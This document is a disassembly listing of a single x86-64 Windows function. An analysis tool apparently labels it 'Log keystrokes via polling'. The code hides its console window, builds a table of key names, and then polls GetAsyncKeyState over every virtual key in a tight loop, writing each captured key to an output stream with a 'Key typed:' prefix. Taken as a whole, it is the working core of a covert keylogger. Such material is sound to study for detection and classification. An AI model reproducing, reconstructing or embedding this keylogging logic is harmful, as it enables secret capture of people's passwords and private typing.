Function at 0x1400038d0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x470]
call fcn.140003f80
movdqa xmm1, xmmword [0x1400089f0]
movdqa xmmword [rbp + 0x4a0], xmm1
movdqa xmm0, xmmword [0x1400089e0]
movdqa xmmword [rbp + 0x4b0], xmm0
movdqa xmm1, xmmword [0x1400089b0]
movdqa xmmword [rbp + 0x4c0], xmm1
movdqa xmm0, xmmword [0x1400089c0]
movdqa xmmword [rbp + 0x4d0], xmm0
movdqa xmm1, xmmword [0x1400089d0]
movdqa xmmword [rbp + 0x4e0], xmm1
movdqa xmm0, xmmword [0x1400089a0]
movdqa xmmword [rbp + 0x4f0], xmm0
movdqa xmm1, xmmword [str.mno_abcdefghjklpqrstuvwxyz__]
movdqa xmmword [rbp + 0x500], xmm1
movdqa xmm0, xmmword [0x140008980]
movdqa xmmword [rbp + 0x510], xmm0
movdqa xmm1, xmmword [0x140008990]
movdqa xmmword [rbp + 0x520], xmm1
mov dword [rbp + 0x530], 0x69
lea rax, [rbp + 0x4a0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x534]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x470]
call fcn.140004140
nop
lea rcx, [rbp + 0x488]
call fcn.140003f80
lea rdx, [0x1400087ec]
lea rcx, [rbp - 0x30]
call fcn.140005130
nop
lea rdx, [0x1400087f0]
lea rcx, [rbp - 0x10]
call fcn.140005130
nop
lea rdx, [0x1400087f4]
lea rcx, [rbp + 0x10]
call fcn.140005130
nop
lea rdx, [0x1400087f8]
lea rcx, [rbp + 0x30]
call fcn.140005130
nop
lea rdx, str.PgUp
lea rcx, [rbp + 0x50]
call fcn.140005130
nop
lea rdx, str.PgDn
lea rcx, [rbp + 0x70]
call fcn.140005130
nop
lea rdx, [0x14000880c]
lea rcx, [rbp + 0x90]
call fcn.140005130
nop
lea rdx, [0x140008810]
lea rcx, [rbp + 0xb0]
call fcn.140005130
nop
lea rdx, [0x140008814]
lea rcx, [rbp + 0xd0]
call fcn.140005130
nop
lea rdx, [0x140008818]
lea rcx, [rbp + 0xf0]
call fcn.140005130
nop
lea rdx, [0x14000881c]
lea rcx, [rbp + 0x110]
call fcn.140005130
nop
lea rdx, [0x140008820]
lea rcx, [rbp + 0x130]
call fcn.140005130
nop
lea rdx, [0x140008824]
lea rcx, [rbp + 0x150]
call fcn.140005130
nop
lea rdx, [0x140008828]
lea rcx, [rbp + 0x170]
call fcn.140005130
nop
lea rdx, [0x14000882c]
lea rcx, [rbp + 0x190]
call fcn.140005130
nop
lea rdx, [0x140008830]
lea rcx, [rbp + 0x1b0]
call fcn.140005130
nop
lea rdx, [0x140008834]
lea rcx, [rbp + 0x1d0]
call fcn.140005130
nop
lea rdx, [0x140008838]
lea rcx, [rbp + 0x1f0]
call fcn.140005130
nop
lea rdx, [0x14000883c]
lea rcx, [rbp + 0x210]
call fcn.140005130
nop
lea rdx, [0x140008840]
lea rcx, [rbp + 0x230]
call fcn.140005130
nop
lea rdx, [0x140008844]
lea rcx, [rbp + 0x250]
call fcn.140005130
nop
lea rdx, str.NUMPAD_KEY
lea rcx, [rbp + 0x270]
call fcn.140005130
nop
lea rdx, str.NUMPAD_KEY
lea rcx, [rbp + 0x290]
call fcn.140005130
nop
lea rdx, str.NUMPAD_KEY
lea rcx, [rbp + 0x2b0]
call fcn.140005130
nop
lea rdx, str.NUMPAD_KEY
lea rcx, [rbp + 0x2d0]
call fcn.140005130
nop
lea rdx, str.NUMPAD_KEY
lea rcx, [rbp + 0x2f0]
call fcn.140005130
nop
lea rdx, str.NUMPAD_KEY
lea rcx, [rbp + 0x310]
call fcn.140005130
nop
lea rdx, str.0123456789
lea rcx, [rbp + 0x330]
call fcn.140005130
nop
lea rdx, [0x14000885c]
lea rcx, [rbp + 0x350]
call fcn.140005130
nop
lea rdx, [0x140008860]
lea rcx, [rbp + 0x370]
call fcn.140005130
nop
lea rdx, [0x140008864]
lea rcx, [rbp + 0x390]
call fcn.140005130
nop
lea rdx, [0x140008868]
lea rcx, [rbp + 0x3b0]
call fcn.140005130
nop
lea rdx, [0x14000886c]
lea rcx, [rbp + 0x3d0]
call fcn.140005130
nop
lea rdx, [0x140008870]
lea rcx, [rbp + 0x3f0]
call fcn.140005130
nop
lea rdx, [0x140008874]
lea rcx, [rbp + 0x410]
call fcn.140005130
nop
lea rdx, [0x140008878]
lea rcx, [rbp + 0x430]
call fcn.140005130
nop
lea rdx, [0x14000887c]
lea rcx, [rbp + 0x450]
call fcn.140005130
nop
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x470]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x488]
call fcn.140004000
nop
lea r9, [fcn.1400050d0]
mov edx, 0x20
mov r8d, 0x25
lea rcx, [rbp - 0x30]
call fcn.14000655c
mov edi, 0xffff8001
nop word [rax + rax]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 8
mov dword [rsp + 0x20], ebx
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, di
jne 0x140003f5f
mov ecx, ebx
call fcn.1400016c0
test al, al
jne 0x140003e44
cmp ebx, 0x22
jle 0x140003e44
cmp ebx, 0x5b
jge 0x140003e44
lea rcx, [rbp + 0x4a0]
call fcn.1400016b0
lea rcx, [rbp + 0x4a0]
call fcn.140004ff0
nop
lea rcx, [rbp + 0x4a0]
call fcn.140004e50
lea rcx, [rbp - 0x58]
call fcn.140001290
nop
lea r8, str._Key_typed:
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.1400057a0
nop
movzx r8d, bl
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140005970
nop
lea r8, [0x140008880]
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140005900
nop
mov rdx, rax
lea rcx, [rbp + 0x4a0]
call fcn.140005a10
nop
lea rcx, [rsp + 0x48]
call fcn.1400050d0
nop
lea rcx, [rsp + 0x68]
call fcn.1400050d0
nop
lea rcx, [rbp - 0x78]
call fcn.1400050d0
nop
lea rcx, [rbp - 0x58]
call fcn.1400050d0
mov edx, ebx
lea rcx, [rbp + 0x4a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140008578]
lea rcx, [rbp + 0x4a0]
call fcn.1400055c0
lea rcx, [rbp + 0x4a0]
call fcn.140004e10
nop
lea rcx, [rbp + 0x4a0]
call fcn.1400015f0
lea r9, [rsp + 0x20]
mov r8, qword [rbp + 0x478]
mov rdx, qword [rbp + 0x470]
lea rcx, [rsp + 0x40]
call fcn.140005a30
mov r8, qword [rbp + 0x478]
cmp qword [rax], r8
je 0x140003f5b
lea r9, [rsp + 0x20]
mov rdx, qword [rbp + 0x470]
lea rcx, [rsp + 0x30]
call fcn.140005a30
mov rbx, qword [rax]
sub rbx, qword [rbp + 0x470]
sar rbx, 2
lea rcx, [rbp + 0x4a0]
call fcn.1400016b0
lea rcx, [rbp + 0x4a0]
call fcn.140004ff0
nop
lea rcx, [rbp + 0x4a0]
call fcn.140004e50
shl rbx, 5
add rbx, qword [rbp + 0x488]
lea rcx, [rsp + 0x48]
call fcn.140001290
nop
lea r8, str._Key_typed:
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.1400057a0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140005a60
nop
lea r8, [0x140008578]
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.140005900
nop
mov rdx, rax
lea rcx, [rbp + 0x4a0]
call fcn.140005a10
nop
lea rcx, [rbp - 0x58]
call fcn.1400050d0
nop
lea rcx, [rbp - 0x78]
call fcn.1400050d0
nop
lea rcx, [rsp + 0x68]
call fcn.1400050d0
nop
lea rcx, [rsp + 0x48]
call fcn.1400050d0
lea rcx, [rbp + 0x4a0]
call fcn.140004e10
nop
lea rcx, [rbp + 0x4a0]
call fcn.1400015f0
mov ebx, dword [rsp + 0x20]
inc ebx
mov dword [rsp + 0x20], ebx
cmp ebx, 0xff
jle 0x140003d34
jmp 0x140003d20